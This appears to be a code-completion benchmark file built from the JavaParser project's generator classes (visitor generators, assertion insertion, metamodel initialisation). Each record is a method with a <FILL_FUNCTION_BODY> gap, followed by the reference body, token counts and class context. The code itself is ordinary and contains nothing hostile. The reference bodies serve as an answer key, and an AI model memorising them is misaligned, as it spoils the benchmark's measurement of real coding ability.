for (Parameter parameter : parameters) {
Optional<AnnotationExpr> nonNullAnnotation = parameter.getAnnotationByClass(NotNull.class);
if (nonNullAnnotation.isPresent()) {
assertions.add(createAssertion(parameter));
}
}
insertAssertionsInBlock(callableDeclaration, blockStmt, assertions);
}
/**
* Create assertion for the parameters.
*
* @param parameter The parameter to create the assertion.
*
* @return The assertion to be added to the code.
*/
private Statement createAssertion(Parameter parameter) {
parameter.tryAddImportToParentCompilationUnit(Preconditions.class);
return StaticJavaParser.parseStatement(
f("Preconditions.checkNotNull(%s, \"Parameter %s can't be null.\");", parameter.getNameAsString(),
parameter.getNameAsString())
);
}
/**
* Insert the assertions into the block.
*
* @param callableDeclaration The declaration where the parameters belong.
* @param blockStmt The block where the assertions should be added.
* @param assertions The list of assertions to be inserted.
*
* @param <N> The callable declaration type.
*/
private <N extends CallableDeclaration<?>>
void insertAssertionsInBlock(N callableDeclaration, BlockStmt blockStmt, List<Statement> assertions) {<FILL_FUNCTION_BODY>}
private Optional<? extends Statement> getSimilarAssertionInBlock(Statement assertion, BlockStmt blockStmt) {
MethodCallExpr assertionCall = assertion.asExpressionStmt().getExpression().asMethodCallExpr();
List<MethodCallExpr> methodCallExpressions = blockStmt.findAll(MethodCallExpr.class);
for (MethodCallExpr blockMethodCall : methodCallExpressions) {
// Check if the method calls name match
if (
blockMethodCall.getNameAsExpression().equals(assertionCall.getNameAsExpression()) &&
blockMethodCall.getScope().equals(assertionCall.getScope()) &&
blockMethodCall.getArguments().size() == 2 &&
blockMethodCall.getArguments().get(0).equals(assertionCall.getArgument(0))
) {
return blockMethodCall.findAncestor(ExpressionStmt.class);
}
}
// TODO:
return Optional.empty();
}
}
|
// If there's nothing to add, just ignore
if (assertions.isEmpty())
return;
int position = 0;
NodeList<Statement> statements = blockStmt.getStatements();
// When the callable is a constructor we must check if is a ExplicitConstructorInvocationStmt.
if (callableDeclaration.isConstructorDeclaration()) {
Optional<Statement> optionalFirstStatement = statements.getFirst();
if (optionalFirstStatement.isPresent()) {
// Check if the first item is a "super" expr. If it's then we add the assertions after it.
Statement firstStatement = optionalFirstStatement.get();
if (firstStatement instanceof ExplicitConstructorInvocationStmt) {
position = 1;
}
}
}
// Register assertions
for (int i = 0 ; i < assertions.size() ; i++) {
Statement assertion = assertions.get(i);
Optional<? extends Statement> optOldStmt = getSimilarAssertionInBlock(assertion, blockStmt);
if (optOldStmt.isPresent()) {
optOldStmt.get().replace(assertion);
} else {
blockStmt.addStatement(position + i, assertion);
}
}
| 1,309
| 324
| 1,633
|
<methods>public void generate() throws java.lang.Exception<variables>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/utils/CodeUtils.java
|
CodeUtils
|
castValue
|
class CodeUtils {
private CodeUtils() {
// This constructor is used to hide the public one
}
/**
* Cast the value if the current type doesn't match the required type.
* <br>
* Given the following example:
* <code>
* int withoutCast = 1;
* double withCast = (double) 1;
* </code>
* The variable withoutCast doesn't need to be casted, since we have int as required type and int as value type.
* While in the variable withCast we have double as required type and int as value type.
*
* @param value The value to be returned.
* @param requiredType The expected type to be casted if needed.
* @param valueType The type of the value to be returned.
*
* @return The value casted if needed.
*/
public static String castValue(String value, Type requiredType, String valueType) {<FILL_FUNCTION_BODY>}
}
|
String requiredTypeName = requiredType.asString();
if (requiredTypeName.equals(valueType))
return value;
return String.format("(%s) %s", requiredTypeName, value);
| 251
| 57
| 308
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/CloneVisitorGenerator.java
|
CloneVisitorGenerator
|
generateVisitMethodBody
|
class CloneVisitorGenerator extends VisitorGenerator {
public CloneVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "CloneVisitor", "Visitable", "Object", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.getNodeReference().isPresent()) {
if (field.isOptional() && field.isNodeList()) {
body.addStatement(f("NodeList<%s> %s = cloneList(n.%s.orElse(null), arg);", field.getTypeNameGenerified(), field.getName(), getter));
} else if (field.isNodeList()) {
body.addStatement(f("NodeList<%s> %s = cloneList(n.%s, arg);", field.getTypeNameGenerified(), field.getName(), getter));
} else {
body.addStatement(f("%s %s = cloneNode(n.%s, arg);", field.getTypeNameGenerified(), field.getName(), getter));
}
}
}
SeparatedItemStringBuilder builder = new SeparatedItemStringBuilder(f("%s r = new %s(", node.getTypeNameGenerified(), node.getTypeNameGenerified()), ",", ");");
builder.append("n.getTokenRange().orElse(null)");
for (PropertyMetaModel field : node.getConstructorParameters()) {
if ("comment".equals(field.getName())) {
continue;
}
if (field.getNodeReference().isPresent()) {
builder.append(field.getName());
} else {
builder.append(f("n.%s()", field.getGetterMethodName()));
}
}
body.addStatement(builder.toString());
if(node instanceof CompilationUnitMetaModel) {
body.addStatement("n.getStorage().ifPresent(s -> r.setStorage(s.getPath(), s.getEncoding()));");
}
body.addStatement("r.setComment(comment);");
body.addStatement("n.getOrphanComments().stream().map(Comment::clone).forEach(r::addOrphanComment);");
body.addStatement("copyData(n, r);");
body.addStatement("return r;");
| 113
| 575
| 688
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/EqualsVisitorGenerator.java
|
EqualsVisitorGenerator
|
generateVisitMethodBody
|
class EqualsVisitorGenerator extends VisitorGenerator {
public EqualsVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "EqualsVisitor", "Boolean", "Visitable", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement(f("final %s n2 = (%s) arg;", node.getTypeName(), node.getTypeName()));
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.getNodeReference().isPresent()) {
if (field.isNodeList()) {
body.addStatement(f("if (!nodesEquals(n.%s, n2.%s)) return false;", getter, getter));
} else {
body.addStatement(f("if (!nodeEquals(n.%s, n2.%s)) return false;", getter, getter));
}
} else {
body.addStatement(f("if (!objEquals(n.%s, n2.%s)) return false;", getter, getter));
}
}
if (body.getStatements().size() == 1) {
// Only the cast line was added, but nothing is using it, so remove it again.
body.getStatements().clear();
}
body.addStatement("return true;");
| 112
| 332
| 444
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/GenericListVisitorAdapterGenerator.java
|
GenericListVisitorAdapterGenerator
|
generateVisitMethodBody
|
class GenericListVisitorAdapterGenerator extends VisitorGenerator {
public GenericListVisitorAdapterGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "GenericListVisitorAdapter", "List<R>", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("List<R> result = new ArrayList<>();");
body.addStatement("List<R> tmp;");
final String resultCheck = "if (tmp != null) result.addAll(tmp);";
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.getNodeReference().isPresent()) {
if (field.isOptional()) {
body.addStatement(f("if (n.%s.isPresent()) {" +
" tmp = n.%s.get().accept(this, arg);" +
" %s" +
"}", getter, getter, resultCheck));
} else {
body.addStatement(f("{ tmp = n.%s.accept(this, arg); %s }", getter, resultCheck));
}
}
}
body.addStatement("return result;");
Arrays.stream(new Class<?>[] {List.class, ArrayList.class}).filter(c ->
compilationUnit.getImports().stream().noneMatch(
i -> c.getName().equals(i.getName().asString())
)
).forEach(compilationUnit::addImport);
| 120
| 364
| 484
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/GenericVisitorAdapterGenerator.java
|
GenericVisitorAdapterGenerator
|
generateVisitMethodBody
|
class GenericVisitorAdapterGenerator extends VisitorGenerator {
public GenericVisitorAdapterGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "GenericVisitorAdapter", "R", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("R result;");
final String resultCheck = "if (result != null) return result;";
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.getNodeReference().isPresent()) {
if (field.isOptional()) {
body.addStatement(f("if (n.%s.isPresent()) {" +
" result = n.%s.get().accept(this, arg);" +
" %s" +
"}", getter, getter, resultCheck));
} else {
body.addStatement(f("{ result = n.%s.accept(this, arg); %s }", getter, resultCheck));
}
}
}
body.addStatement("return null;");
| 114
| 266
| 380
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/GenericVisitorWithDefaultsGenerator.java
|
GenericVisitorWithDefaultsGenerator
|
generateVisitMethodBody
|
class GenericVisitorWithDefaultsGenerator extends VisitorGenerator {
public GenericVisitorWithDefaultsGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "GenericVisitorWithDefaults", "R", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("return defaultAction(n, arg);");
| 120
| 66
| 186
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/HashCodeVisitorGenerator.java
|
HashCodeVisitorGenerator
|
generateVisitMethodBody
|
class HashCodeVisitorGenerator extends VisitorGenerator {
public HashCodeVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "HashCodeVisitor", "Integer", "Void", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
final BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
final SeparatedItemStringBuilder builder = new SeparatedItemStringBuilder("return ", "* 31 +", ";");
final List<PropertyMetaModel> propertyMetaModels= node.getAllPropertyMetaModels();
if (propertyMetaModels.isEmpty()) {
builder.append("0");
} else {
for (PropertyMetaModel field : propertyMetaModels) {
final String getter = field.getGetterMethodName() + "()";
// Is this field another AST node? Visit it.
if (field.getNodeReference().isPresent()) {
if (field.isOptional()) {
builder.append("(n.%s.isPresent()? n.%s.get().accept(this, arg):0)", getter, getter);
} else {
builder.append("(n.%s.accept(this, arg))", getter);
}
} else {
Class<?> type = field.getType();
if (type.equals(boolean.class)) {
builder.append("(n.%s?1:0)", getter);
} else if (type.equals(int.class)) {
builder.append("n.%s", getter);
} else {
builder.append("(n.%s.hashCode())", getter);
}
}
}
}
body.addStatement(parseStatement(builder.toString()));
| 113
| 393
| 506
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/ModifierVisitorGenerator.java
|
ModifierVisitorGenerator
|
extracted
|
class ModifierVisitorGenerator extends VisitorGenerator {
public ModifierVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "ModifierVisitor", "Visitable", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
// FIXME: Bit of a hacky way to get this fixed order, and then have everything else (note this list is reversed)
List<String> order = Arrays.asList(
// "comment", "name", "members", "parameters", "name",
"modifiers", "annotations"
);
List<PropertyMetaModel> sortedPropertyMetaModels = node.getAllPropertyMetaModels()
.stream()
.sorted(Comparator
.comparingInt((PropertyMetaModel o) -> order.indexOf(o.getName())).reversed()
// .thenComparing(PropertyMetaModel::getName)
)
.collect(Collectors.toList());
//
sortedPropertyMetaModels.forEach(property -> extracted(body, property));
//
if (node.is(BinaryExpr.class)) {
body.addStatement("if (left == null) return right;");
body.addStatement("if (right == null) return left;");
} else {
final SeparatedItemStringBuilder collapseCheck = new SeparatedItemStringBuilder("if(", "||", ") return null;");
sortedPropertyMetaModels.forEach(property -> {
if (property.isRequired() && property.isNode()) {
if (property.isNodeList()) {
if (property.isNonEmpty()) {
collapseCheck.append(f("%s.isEmpty()", property.getName()));
}
} else {
collapseCheck.append(f("%s==null", property.getName()));
}
}
});
if (collapseCheck.hasItems()) {
body.addStatement(collapseCheck.toString());
}
}
//
sortedPropertyMetaModels.forEach(property -> {
if (property.isNode()) {
body.addStatement(f("n.%s(%s);", property.getSetterMethodName(), property.getName()));
}
});
//
body.addStatement("return n;");
}
private void extracted(BlockStmt body, PropertyMetaModel property) {<FILL_FUNCTION_BODY>}
}
|
if (property.isNode()) {
if (property.isNodeList()) {
body.addStatement(f("NodeList<%s> %s = modifyList(n.%s(), arg);",
property.getTypeNameGenerified(),
property.getName(),
property.getGetterMethodName()));
} else if (property.isOptional()) {
body.addStatement(f("%s %s = n.%s().map(s -> (%s) s.accept(this, arg)).orElse(null);",
property.getTypeNameGenerified(),
property.getName(),
property.getGetterMethodName(),
property.getTypeNameGenerified()));
} else {
body.addStatement(f("%s %s = (%s) n.%s().accept(this, arg);",
property.getTypeNameGenerified(),
property.getName(),
property.getTypeNameGenerified(),
property.getGetterMethodName()));
}
}
| 668
| 245
| 913
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/NoCommentEqualsVisitorGenerator.java
|
NoCommentEqualsVisitorGenerator
|
generateVisitMethodBody
|
class NoCommentEqualsVisitorGenerator extends VisitorGenerator {
public NoCommentEqualsVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "NoCommentEqualsVisitor", "Boolean", "Visitable", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod,
CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
if (!(node.equals(JavaParserMetaModel.lineCommentMetaModel)
|| node.equals(JavaParserMetaModel.blockCommentMetaModel)
|| node.equals(JavaParserMetaModel.javadocCommentMetaModel))) {
body.addStatement(f("final %s n2 = (%s) arg;", node.getTypeName(), node.getTypeName()));
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.equals(JavaParserMetaModel.nodeMetaModel.commentPropertyMetaModel))
continue;
if (field.getNodeReference().isPresent()) {
if (field.isNodeList()) {
body.addStatement(f("if (!nodesEquals(n.%s, n2.%s)) return false;", getter, getter));
} else {
body.addStatement(f("if (!nodeEquals(n.%s, n2.%s)) return false;", getter, getter));
}
} else {
body.addStatement(f("if (!objEquals(n.%s, n2.%s)) return false;", getter, getter));
}
}
if (body.getStatements().size() == 1) {
// Only the cast line was added, but nothing is using it, so remove it again.
body.getStatements().clear();
}
}
body.addStatement("return true;");
| 129
| 449
| 578
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/NoCommentHashCodeVisitorGenerator.java
|
NoCommentHashCodeVisitorGenerator
|
generateVisitMethodBody
|
class NoCommentHashCodeVisitorGenerator extends VisitorGenerator {
public NoCommentHashCodeVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "NoCommentHashCodeVisitor", "Integer", "Void", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod,
CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
final BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
final SeparatedItemStringBuilder builder = new SeparatedItemStringBuilder("return ", "* 31 +", ";");
final List<PropertyMetaModel> propertyMetaModels = node.getAllPropertyMetaModels();
if (node.equals(JavaParserMetaModel.lineCommentMetaModel)
|| node.equals(JavaParserMetaModel.blockCommentMetaModel)
|| node.equals(JavaParserMetaModel.javadocCommentMetaModel) || propertyMetaModels.isEmpty()) {
builder.append("0");
} else {
for (PropertyMetaModel field : propertyMetaModels) {
final String getter = field.getGetterMethodName() + "()";
if (field.equals(JavaParserMetaModel.nodeMetaModel.commentPropertyMetaModel)) {
if (propertyMetaModels.size() == 1) {
builder.append("0");
break;
}
continue;
}
// Is this field another AST node? Visit it.
if (field.getNodeReference().isPresent()) {
if (field.isOptional()) {
builder.append("(n.%s.isPresent()? n.%s.get().accept(this, arg):0)", getter, getter);
} else {
builder.append("(n.%s.accept(this, arg))", getter);
}
} else {
Class<?> type = field.getType();
if (type.equals(boolean.class)) {
builder.append("(n.%s?1:0)", getter);
} else if (type.equals(int.class)) {
builder.append("n.%s", getter);
} else {
builder.append("(n.%s.hashCode())", getter);
}
}
}
}
body.addStatement(parseStatement(builder.toString()));
| 123
| 502
| 625
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/ObjectIdentityEqualsVisitorGenerator.java
|
ObjectIdentityEqualsVisitorGenerator
|
generateVisitMethodBody
|
class ObjectIdentityEqualsVisitorGenerator extends VisitorGenerator {
public ObjectIdentityEqualsVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "ObjectIdentityEqualsVisitor", "Boolean", "Visitable", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("return n == arg;");
| 116
| 63
| 179
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/ObjectIdentityHashCodeVisitorGenerator.java
|
ObjectIdentityHashCodeVisitorGenerator
|
generateVisitMethodBody
|
class ObjectIdentityHashCodeVisitorGenerator extends VisitorGenerator {
public ObjectIdentityHashCodeVisitorGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "ObjectIdentityHashCodeVisitor", "Integer", "Void", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
final BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("return n.hashCode();");
| 119
| 64
| 183
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/VoidVisitorAdapterGenerator.java
|
VoidVisitorAdapterGenerator
|
generateVisitMethodBody
|
class VoidVisitorAdapterGenerator extends VisitorGenerator {
public VoidVisitorAdapterGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "VoidVisitorAdapter", "void", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
for (PropertyMetaModel field : node.getAllPropertyMetaModels()) {
final String getter = field.getGetterMethodName() + "()";
if (field.getNodeReference().isPresent()) {
if (field.isOptional() && field.isNodeList()) {
body.addStatement(f("n.%s.ifPresent( l -> l.forEach( v -> v.accept(this, arg)));", getter));
} else if (field.isOptional()) {
body.addStatement(f("n.%s.ifPresent(l -> l.accept(this, arg));", getter));
} else if (field.isNodeList()) {
body.addStatement(f("n.%s.forEach(p -> p.accept(this, arg));", getter));
} else {
body.addStatement(f("n.%s.accept(this, arg);", getter));
}
}
}
| 115
| 283
| 398
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/core/visitor/VoidVisitorWithDefaultsGenerator.java
|
VoidVisitorWithDefaultsGenerator
|
generateVisitMethodBody
|
class VoidVisitorWithDefaultsGenerator extends VisitorGenerator {
public VoidVisitorWithDefaultsGenerator(SourceRoot sourceRoot) {
super(sourceRoot, "com.github.javaparser.ast.visitor", "VoidVisitorWithDefaults", "void", "A", true);
}
@Override
protected void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit) {<FILL_FUNCTION_BODY>}
}
|
visitMethod.getParameters().forEach(p -> p.setFinal(true));
BlockStmt body = visitMethod.getBody().get();
body.getStatements().clear();
body.addStatement("defaultAction(n, arg);");
| 121
| 65
| 186
|
<methods>public final void generate() throws java.lang.Exception<variables>private final non-sealed java.lang.String argumentType,private final non-sealed boolean createMissingVisitMethods,private final non-sealed java.lang.String pkg,private final non-sealed java.lang.String returnType,private final non-sealed java.lang.String visitorClassName
|
javaparser_javaparser
|
javaparser/javaparser-core-metamodel-generator/src/main/java/com/github/javaparser/generator/metamodel/InitializeConstructorParametersStatementsGenerator.java
|
InitializeConstructorParametersStatementsGenerator
|
generate
|
class InitializeConstructorParametersStatementsGenerator {
void generate(Class<? extends Node> nodeClass, NodeList<Statement> initializeConstructorParametersStatements) {<FILL_FUNCTION_BODY>}
private Field findFieldInClass(Class<?> nodeClass, String name) {
Class<?> searchClass = nodeClass;
do {
for (Field field : searchClass.getDeclaredFields()) {
if (field.getName().equals(name)) {
return field;
}
}
searchClass = searchClass.getSuperclass();
} while (searchClass != null);
throw new AssertionError(f("Couldn't find constructor parameter %s as a field, class %s", name, nodeClass.getSimpleName()));
}
private Constructor<?> findAllFieldsConstructor(Class<? extends Node> nodeClass) {
for (Constructor<?> constructor : nodeClass.getDeclaredConstructors()) {
for (Annotation annotation : constructor.getAnnotations()) {
if (annotation.annotationType() == AllFieldsConstructor.class) {
return constructor;
}
}
}
throw new AssertionError(f("Node class %s has no constructor annotated with @AllFieldsConstructor", nodeClass.getSimpleName()));
}
}
|
if (nodeClass == Node.class) {
return;
}
Constructor<?> constructor = findAllFieldsConstructor(nodeClass);
for (java.lang.reflect.Parameter parameter : constructor.getParameters()) {
Field field = findFieldInClass(nodeClass, parameter.getName());
String addFieldStatement = f("%s.getConstructorParameters().add(%s.%s);",
nodeMetaModelFieldName(nodeClass),
nodeMetaModelFieldName(field.getDeclaringClass()),
propertyMetaModelFieldName(field));
initializeConstructorParametersStatements.add(parseStatement(addFieldStatement));
}
| 313
| 157
| 470
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-metamodel-generator/src/main/java/com/github/javaparser/generator/metamodel/InitializePropertyMetaModelsStatementsGenerator.java
|
InitializePropertyMetaModelsStatementsGenerator
|
generateDerivedProperty
|
class InitializePropertyMetaModelsStatementsGenerator {
void generate(Field field, ClassOrInterfaceDeclaration nodeMetaModelClass, String nodeMetaModelFieldName, NodeList<Statement> initializePropertyMetaModelsStatements) {
final AstTypeAnalysis fieldTypeAnalysis = new AstTypeAnalysis(field.getGenericType());
final Class<?> fieldType = fieldTypeAnalysis.innerType;
final String typeName = fieldType.getTypeName().replace('$', '.');
final String propertyMetaModelFieldName = field.getName() + "PropertyMetaModel";
nodeMetaModelClass.addField("PropertyMetaModel", propertyMetaModelFieldName, PUBLIC);
final String propertyInitializer = f("new PropertyMetaModel(%s, \"%s\", %s.class, %s, %s, %s, %s, %s)",
nodeMetaModelFieldName,
field.getName(),
typeName,
optionalOf(decapitalize(nodeMetaModelName(fieldType)), isNode(fieldType)),
isOptional(field),
isNonEmpty(field),
fieldTypeAnalysis.isNodeList,
fieldTypeAnalysis.isSelfType);
final String fieldSetting = f("%s.%s=%s;", nodeMetaModelFieldName, propertyMetaModelFieldName, propertyInitializer);
final String fieldAddition = f("%s.getDeclaredPropertyMetaModels().add(%s.%s);", nodeMetaModelFieldName, nodeMetaModelFieldName, propertyMetaModelFieldName);
initializePropertyMetaModelsStatements.add(parseStatement(fieldSetting));
initializePropertyMetaModelsStatements.add(parseStatement(fieldAddition));
}
void generateDerivedProperty(Method method, ClassOrInterfaceDeclaration nodeMetaModelClass, String nodeMetaModelFieldName, NodeList<Statement> initializePropertyMetaModelsStatements) {<FILL_FUNCTION_BODY>}
private boolean isNonEmpty(Field field) {
return field.isAnnotationPresent(NonEmptyProperty.class);
}
private boolean isNonEmpty(Method method) {
return method.isAnnotationPresent(NonEmptyProperty.class);
}
private boolean isOptional(Field field) {
return field.isAnnotationPresent(OptionalProperty.class);
}
}
|
final AstTypeAnalysis returnTypeAnalysis = new AstTypeAnalysis(method.getGenericReturnType());
final Class<?> innermostReturnType = returnTypeAnalysis.innerType;
final String typeName = innermostReturnType.getTypeName().replace('$', '.');
final String propertyMetaModelFieldName = getterToPropertyName(method.getName()) + "PropertyMetaModel";
nodeMetaModelClass.addField("PropertyMetaModel", propertyMetaModelFieldName, PUBLIC);
final String propertyInitializer = f("new PropertyMetaModel(%s, \"%s\", %s.class, %s, %s, %s, %s, %s)",
nodeMetaModelFieldName,
getterToPropertyName(method.getName()),
typeName,
optionalOf(decapitalize(nodeMetaModelName(innermostReturnType)), isNode(innermostReturnType)),
returnTypeAnalysis.isOptional,
isNonEmpty(method),
returnTypeAnalysis.isNodeList,
returnTypeAnalysis.isSelfType);
final String fieldSetting = f("%s.%s=%s;", nodeMetaModelFieldName, propertyMetaModelFieldName, propertyInitializer);
final String fieldAddition = f("%s.getDerivedPropertyMetaModels().add(%s.%s);", nodeMetaModelFieldName, nodeMetaModelFieldName, propertyMetaModelFieldName);
initializePropertyMetaModelsStatements.add(parseStatement(fieldSetting));
initializePropertyMetaModelsStatements.add(parseStatement(fieldAddition));
